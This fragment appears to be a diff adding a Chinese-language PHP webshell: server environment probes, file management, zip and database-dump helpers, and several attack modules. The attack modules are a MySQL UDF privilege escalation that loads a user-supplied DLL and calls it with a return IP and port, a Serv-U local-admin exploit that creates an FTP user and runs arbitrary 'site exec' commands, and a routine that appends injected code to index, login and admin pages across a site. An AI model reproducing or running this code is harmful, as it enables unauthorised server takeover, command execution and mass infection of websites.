array("XML解析",getfun("xml_set_object")), + 37 => array("FTP",getfun("ftp_login")), + 38 => array("ODBC数据库连接",getfun("odbc_close")), + 39 => array("Session支持",getfun("session_start")), + 40 => array("Socket支持",getfun("fsockopen")), + ); + $tb->tableheader(); + echo "
    \n"; + $tb->tdbody('查看PHP配置参数状况','left','1','30','style="padding-left: 5px;"'); + $tb->tdbody('请输入配置参数(如:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','查看','','submit'),'left','2','30','style="padding-left: 5px;"'); + $tb->makehidden('do','viewphpvar'); + echo "
    \n"; + $hp = array(0=> '服务器特性', 1=> 'PHP基本特性', 2=> '组件支持状况'); + for ($a=0;$a<3;$a++) { + $tb->tdbody(''.$hp[1].'','left','1','30','style="padding-left: 5px;"'); +?> + + + +\n"; + } + } elseif ($a == 1) { + for ($i=13;$i<=24;$i++) { + echo "\n"; + } + } elseif ($a == 2) { + for ($i=25;$i<=40;$i++) { + echo "\n"; + } + } +?> +
    ".$info[$i][0]."".$info[$i][1]."
    ".$info[$i][0]."".$info[$i][1]."
    ".$info[$i][0]."".$info[$i][1]."
    + + +"; +}//end phpenv +elseif($_GET['action'] == "mysqlfun"){ + echo "
    "; + if($_POST['port'] != "" && $_POST['ip'] != "" && $_POST['function'] != "" && $_POST['host'] != "" && $_POST['user'] != "") + { + $link=@mysql_connect($_POST['host'],$_POST['user'],$_POST['pass']); + if (!$link) { + echo "Could not connect: ".mysql_error()."
    "; + } + else{ + echo "Connected successfully as ".$_POST['user']."
    "; + if(isset($_POST['mixpath'])&&!@file_exists($_POST['mixpath'])){ + echo"Can't find the ".$_POST['mixpath']."
    "; + } + if(isset($_POST['mixpath'])){ + $dll_path = addslashes($_POST['mixpath']); + $query="create function ".$_POST['function']." returns integer soname '".$dll_path."';"; + echo (@mysql_query($query, $link)) ? "Success: ".$query."
    " : "Create function faild!
    ".mysql_error()."

    "; + } + echo"Now Select Function name of ".$_POST['function']."
    "; + $query="select ".$_POST['function']."('".$_POST['ip']."','".$_POST['port']."');"; + echo (@mysql_query($query, $link)) ? "Success: ".$query."
    " : "Select Function name of ".$_POST['function']." faild!
    ".mysql_error()."

    "; + mysql_close($link); + } + }else{ + echo""; + } + echo "
    "; + if($nodll=="yes"){ + $echodll = " (?)  Mixdll : +  (已有function)"; + }else{ + $echodll = "此步利用已建function进行工作。  (未建function)"; + } +?> + + + + + + + + + + + + + + + +
    mysql_function提权(mix.dll)
    (Func) 返回端口: +   + 返回IP: +  function名: +  (Mix.dll) +
    + Host : User : PassWd :
    + + ";?>
      +
    Remember,Love is a dieing dream....
    +"; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n". + "-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n". + "-TZOEnable=0\r\n". + " TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n". + "-IP=0.0.0.0\r\n". + "-PortNo=21\r\n". + "-User=".$user."\r\n". + "-Password=".$password."\r\n". + "-HomeDir=c:\\\r\n". + "-LoginMesFile=\r\n". + "-Disable=0\r\n". + "-RelPaths=1\r\n". + "-NeedSecure=0\r\n". + "-HideHidden=0\r\n". + "-AlwaysAllowLogin=0\r\n". + "-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n". + "-MaxUsersLoginPerIP=-1\r\n". + "-SpeedLimitUp=0\r\n". + "-SpeedLimitDown=0\r\n". + "-MaxNrUsers=-1\r\n". + "-IdleTimeOut=600\r\n". + "-SessionTimeOut=-1\r\n". + "-Expire=0\r\n". + "-RatioUp=1\r\n". + "-RatioDown=1\r\n". + "-RatiosCredit=0\r\n". + "-QuotaCurrent=0\r\n". + "-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n". + "-PasswordType=Regular\r\n". + "-Ratios=None\r\n". + " Access=".$part."\|RWAMELCDP\r\n"; + $deldomain="-DELETEDOMAIN\r\n". + "-IP=0.0.0.0\r\n". + " PortNo=21\r\n"; + $sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "SITE MAINTENANCE\r\n"; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = $domain; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = $adduser; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + echo "**********************************************************
    "; + if($job!=="adduser"){//假设不是建立用户 + echo "Starting Exploit ...
    "; + echo "**********************************************************
    "; + $exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = fgets($exp, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "USER ".$user."\r\n"; + fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($exp, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "PASS ".$password."\r\n"; + fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($exp, 1024); + echo "Recv: $recvbuf
    "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Send: site exec ".$_POST["SUCommand"]."
    "; + $recvbuf = fgets($exp, 1024); + echo "Recv: $recvbuf
    "; + echo "**********************************************************
    "; + echo "Starting Delete Domain ...
    "; + echo "**********************************************************
    "; + $sendbuf = $deldomain; + fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Send: $sendbuf
    "; + $recvbuf = fgets($sock, 1024); + echo "Recv: $recvbuf
    "; + }else{ + echo "All done ...
    "; + echo "**********************************************************
    "; + } + echo ""; + fclose($sock); + if($job!=="adduser") fclose($exp); + } +?> + + + + + + + + + + + + +
    通过Serv-U 本地管理员帐号执行命令 & 添加域管理
    LocalPort: +   + LocalUser: +  LocalPass: + +
    + + Command : +  (添加用户) - (?) + + + + + 帐号: + + 密码: + + 目录: + + (执行CMD) - (?) + +
      +
    + +
    + + + + + +
    声明:请勿使用本程序从事非法行为,否则后果自负!
    +
    + + + + + + + + + + + + +
    +密码: + + +
    + +read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + return (@rmdir($deldir)) ? 1 : 0; + } + + // 判断读写情况 + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + // 表格行间的背景色替换 + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + // 获取当前的文件系统路径 + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } +function dirtree($path,$mm) + { + $d =@dir("$path"); + while (false !== ($entry = $d->read())) { + if($entry == "." || $entry == "..") continue; + $file=$d->path."/" .$entry; + if(@is_dir($file)) + { + dirtree($file,$mm); + } + else + { + if(@ereg("default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.",$file)) { + $mm=stripcslashes( trim( $mm ) );//防止单双引号被加上斜杠 + $handle = @fopen ("$file", "a"); + @fwrite($handle, "$mm"); + @fclose($handle); + echo "已挂马文件:$file
    "; + } + } + } + $d->close(); +} + // 检查PHP配置参数 + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return "No"; + break; + case 1: + return "Yes"; + break; + default: + return $result; + break; + } + } + + // 检查函数情况 + function getfun($funName) { + return (false !== function_exists($funName)) ? "Yes" : "No"; + } + + class zip //ZIP压缩类 +{ + + var $datasec, $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; var $dirs = Array("."); + function Add($files,$compact) + { + if(!is_array($files[0])) $files=Array($files); + + for($i=0;$files[$i];$i++){ + $fn = $files[$i]; + if(!in_Array(dirname($fn[0]),$this->dirs)) + $this->add_Dir(dirname($fn[0])); + if(basename($fn[0])) + $ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact); + } + return $ret; + } +function get_file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + + return $data . $ctrldir . $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)). + pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; + } + function ReadCentralDir($zip,$zip_name) + { + $size = filesize($zip_name); + if ($size < 277) $maximum_size = $size; + else $maximum_size=277; + @fseek($zip, $size-$maximum_size); + $pos = ftell($zip); $bytes = 0x00000000; + while ($pos < $size) + { + $byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte); + if ($bytes == 0x504b0506){ $pos++; break; } $pos++; + } + $data=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip,18)); + if ($data['comment_size'] != 0) + $centd['comment'] = fread($zip, $data['comment_size']); + else $centd['comment'] = ''; $centd['entries'] = $data['entries']; + $centd['disk_entries'] = $data['disk_entries']; + $centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start']; + $centd['size'] = $data['size']; $centd['disk'] = $data['disk']; + return $centd; + } + function ReadCentralFileHeaders($zip){ + $binary_data = fread($zip, 46); + $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data); + if ($header['filename_len'] != 0) + $header['filename'] = fread($zip,$header['filename_len']); + else $header['filename'] = ''; + if ($header['extra_len'] != 0) + $header['extra'] = fread($zip, $header['extra_len']); + else $header['extra'] = ''; + if ($header['comment_len'] != 0) + $header['comment'] = fread($zip, $header['comment_len']); + else $header['comment'] = ''; + if ($header['mdate'] && $header['mtime']) + { + $hour = ($header['mtime'] & 0xF800) >> 11; + $minute = ($header['mtime'] & 0x07E0) >> 5; + $seconde = ($header['mtime'] & 0x001F)*2; + $year = (($header['mdate'] & 0xFE00) >> 9) + 1980; + $month = ($header['mdate'] & 0x01E0) >> 5; + $day = $header['mdate'] & 0x001F; + $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year); + } else { + $header['mtime'] = time(); + } + $header['stored_filename'] = $header['filename']; + $header['status'] = 'ok'; + if (substr($header['filename'], -1) == '/') + $header['external'] = 0x41FF0010; + return $header; + } + function add_dir($name) + { + $name = str_replace("\\", "/", $name); + $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $fr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $fr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); + $this -> datasec[] = $fr; + $new_offset = strlen(implode("", $this->datasec)); + $cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $cdrec .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $ext = "\xff\xff\xff\xff"; + $cdrec .= pack("V", 16 ).pack("V", $this -> old_offset ).$name; + $this -> ctrl_dir[] = $cdrec; + $this -> old_offset = $new_offset; + $this -> dirs[] = $name; + } + function get_List($zip_name) + { + $zip = @fopen($zip_name, 'rb'); + if(!$zip) return(0); + $centd = $this->ReadCentralDir($zip,$zip_name); + @rewind($zip); + @fseek($zip, $centd['offset']); + for ($i=0; $i<$centd['entries']; $i++) + { + $header = $this->ReadCentralFileHeaders($zip); + $header['index'] = $i;$info['filename'] = $header['filename']; + $info['stored_filename'] = $header['stored_filename']; + $info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size']; + $info['crc'] = strtoupper(dechex( $header['crc'] )); + $info['mtime'] = $header['mtime']; $info['comment'] = $header['comment']; + $info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0; + $info['index'] = $header['index'];$info['status'] = $header['status']; + $ret[]=$info; unset($header); + } + return $ret; + } +function add_File($data, $name, $compact = 1) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + if($compact) + $fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime; + else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime; + $unc_len = strlen($data); $crc = crc32($data); + if($compact){ + $zdata = gzcompress($data); $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + }else{ + $zdata = $data; + } + $c_len=strlen($zdata); + $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); + $fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata; + $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + if($compact) + $cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00"; + else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00"; + $cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 ); + $cdrec .= pack('v', 0 ).pack('v', 0 ).pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + return true; + } + + function DosTime() { + $timearray = getdate(); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; $timearray['mon'] = 1; + $timearray['mday'] = 1; $timearray['hours'] = 0; + $timearray['minutes'] = 0; $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | + ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function Extract ( $zn, $to, $index = Array(-1) ) + { + $ok = 0; $zip = @fopen($zn,'rb'); + if(!$zip) return(-1); + $cdir = $this->ReadCentralDir($zip,$zn); + $pos_entry = $cdir['offset']; + + if(!is_array($index)){ $index = array($index); } + for($i=0; $index[$i];$i++){ + if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries']) + return(-1); + } + + for ($i=0; $i<$cdir['entries']; $i++) + { + @fseek($zip, $pos_entry); + $header = $this->ReadCentralFileHeaders($zip); + $header['index'] = $i; $pos_entry = ftell($zip); + @rewind($zip); fseek($zip, $header['offset']); + if(in_array("-1",$index)||in_array($i,$index)) + $stat[$header['filename']]=$this->ExtractFile($header, $to, $zip); + + } + fclose($zip); + return $stat; + } + function ExtractFile($header,$to,$zip) + { + $header = $this->readfileheader($zip); + + if(substr($to,-1)!="/") $to.="/"; + if(!@is_dir($to)) @mkdir($to,0777); + + $pth = explode("/",dirname($header['filename'])); + for($i=0;isset($pth[$i]);$i++){ + if(!$pth[$i]) continue;$pthss.=$pth[$i]."/"; + if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777); + } + if (!($header['external']==0x41FF0010)&&!($header['external']==16)) + { + if ($header['compression']==0) + { + $fp = @fopen($to.$header['filename'], 'wb'); + if(!$fp) return(-1); + $size = $header['compressed_size']; + + while ($size != 0) + { + $read_size = ($size < 2048 ? $size : 2048); + $buffer = fread($zip, $read_size); + $binary_data = pack('a'.$read_size, $buffer); + @fwrite($fp, $binary_data, $read_size); + $size -= $read_size; + } + fclose($fp); + touch($to.$header['filename'], $header['mtime']); + + }else{ + $fp = @fopen($to.$header['filename'].'.gz','wb'); + if(!$fp) return(-1); + $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']), + Chr(0x00), time(), Chr(0x00), Chr(3)); + + fwrite($fp, $binary_data, 10); + $size = $header['compressed_size']; + + while ($size != 0) + { + $read_size = ($size < 1024 ? $size : 1024); + $buffer = fread($zip, $read_size); + $binary_data = pack('a'.$read_size, $buffer); + @fwrite($fp, $binary_data, $read_size); + $size -= $read_size; + } + + $binary_data = pack('VV', $header['crc'], $header['size']); + fwrite($fp, $binary_data,8); fclose($fp); + + $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress閑"); + if(!$gzp) return(-2); + $fp = @fopen($to.$header['filename'],'wb'); + if(!$fp) return(-1); + $size = $header['size']; + + while ($size != 0) + { + $read_size = ($size < 2048 ? $size : 2048); + $buffer = gzread($gzp, $read_size); + $binary_data = pack('a'.$read_size, $buffer); + @fwrite($fp, $binary_data, $read_size); + $size -= $read_size; + } + fclose($fp); gzclose($gzp); + + touch($to.$header['filename'], $header['mtime']); + @unlink($to.$header['filename'].'.gz'); + + }} + return true; + } + function ReadFileHeader($zip) + { + $binary_data = fread($zip, 30); + $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data); + + $header['filename'] = fread($zip, $data['filename_len']); + if ($data['extra_len'] != 0) { + $header['extra'] = fread($zip, $data['extra_len']); + } else { $header['extra'] = ''; } + + $header['compression'] = $data['compression'];$header['size'] = $data['size']; + $header['compressed_size'] = $data['compressed_size']; + $header['crc'] = $data['crc']; $header['flag'] = $data['flag']; + $header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime']; + + if ($header['mdate'] && $header['mtime']){ + $hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5; + $seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980; + $month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F; + $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year); + }else{$header['mtime'] = time();} + + $header['stored_filename'] = $header['filename']; + $header['status'] = "ok"; + return $header; + } +} + +function addziparray($dir2) //添加ZIP文件 +{ + global $dir,$zipfilearray; + @$dirs=opendir($dir."/".$dir2); + while (@$file=readdir($dirs)) { + if(!is_dir("$dir/$dir2/$file")) { + $zipfilearray[]="$dir2/$file"; + } + elseif($file!="."&&$file!="..") { + addziparray("$dir2/$file"); + } + } + @closedir($dirs); +} +function hlinK($str=""){ +$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF']."?"; +$new=explode("&",$str); +foreach ($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el = explode("=", $m); +if ($el[0]==$key)$add=0; +} +if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; +} +$ret.=$str; +return $ret; +} + + // 备份数据库 + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } + + class FORMS { + function tableheader() { + echo "\n"; + } + + function headerform($arg=array()) { + global $dir; + if ($arg[enctype]){ + $enctype="enctype=\"$arg[enctype]\""; + } else { + $enctype=""; + } + if (!isset($arg[method])) { + $arg[method] = "POST"; + } + if (!isset($arg[action])) { + $arg[action] = ''; + } + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tdheader($title) { + global $dir; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { + if ($bgcolor=='2') { + $css="secondalt"; + } elseif ($bgcolor=='1') { + $css="firstalt"; + } else { + $css=$bgcolor; + } + $height = empty($height) ? "" : " height=".$height; + $colspan = empty($colspan) ? "" : " colspan=".$colspan; + echo " \n"; + echo " \n"; + echo " \n"; + } + + function tablefooter() { + echo "
    ".$arg[content]."
    ".$title." [返回]
    ".$content."
    \n"; + } + + function formheader($action='',$title,$target='') { + global $dir; + $target = empty($target) ? "" : " target=\"".$target."\""; + echo "
    \n"; + echo " \n"; + echo " ".$title." [返回]\n"; + echo " \n"; + } + + function makehidden($name,$value=''){ + echo "\n"; + } + + function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "\n"; + return $input; + } + + function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ + $textarea = "\n"; + return $textarea; + } + + function formfooter($over='',$height=''){ + $height = empty($height) ? "" : " height=\"".$height."\""; + echo " \n"; + echo " \n"; + echo " \n"; + echo "
    \n"; + echo $end = empty($over) ? "" : "\n"; + } + + function makeselect($arg = array()){ + if ($arg[multiple]==1) { + $multiple = " multiple"; + if ($arg[size]>0) { + $size = "size=$arg[size]"; + } + } + if ($arg[css]==0) { + $css = "class=\"input\""; + } + $select = "\n"; + return $select; + } + } + + function find($path) //查找关键词 +{ + global $oldkey,$type,$type2,$endline,$beline; + if(is_dir("$path")){ + $tempdir=opendir("$path"); + while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue; find("$path/$f");} + closedir($tempdir); + }else{ + if(filesize("$path")){ + $fp=fopen("$path","r"); + $msg=fread($fp, filesize("$path")); + fclose($fp); +if(strpos($msg, $oldkey) !== false) { + $dir = dirname($path); + $file = basename($path); +if($type=="list"){ + $mymsg = explode("\n",$msg); + $long = count($mymsg); + $tmp = explode($oldkey,$msg); + $tmp = explode("\n",$tmp[0]); + $first = count($tmp); + $end = "[".$first."/".$long."]"; +} +if($type2=="getpath"){ + $get = explode($oldkey,$msg); + $get = strlen($get[0]); + if(isset($beline)){ + $get = $get-$beline; + } + $getpath = htmlspecialchars(substr($msg, $get, $endline)); + $getpath = "title = \"".$getpath."\""; +} +echo "找到:$dir/$file |view+edit | $end
    "; +} + } + } +}?> \ No newline at end of file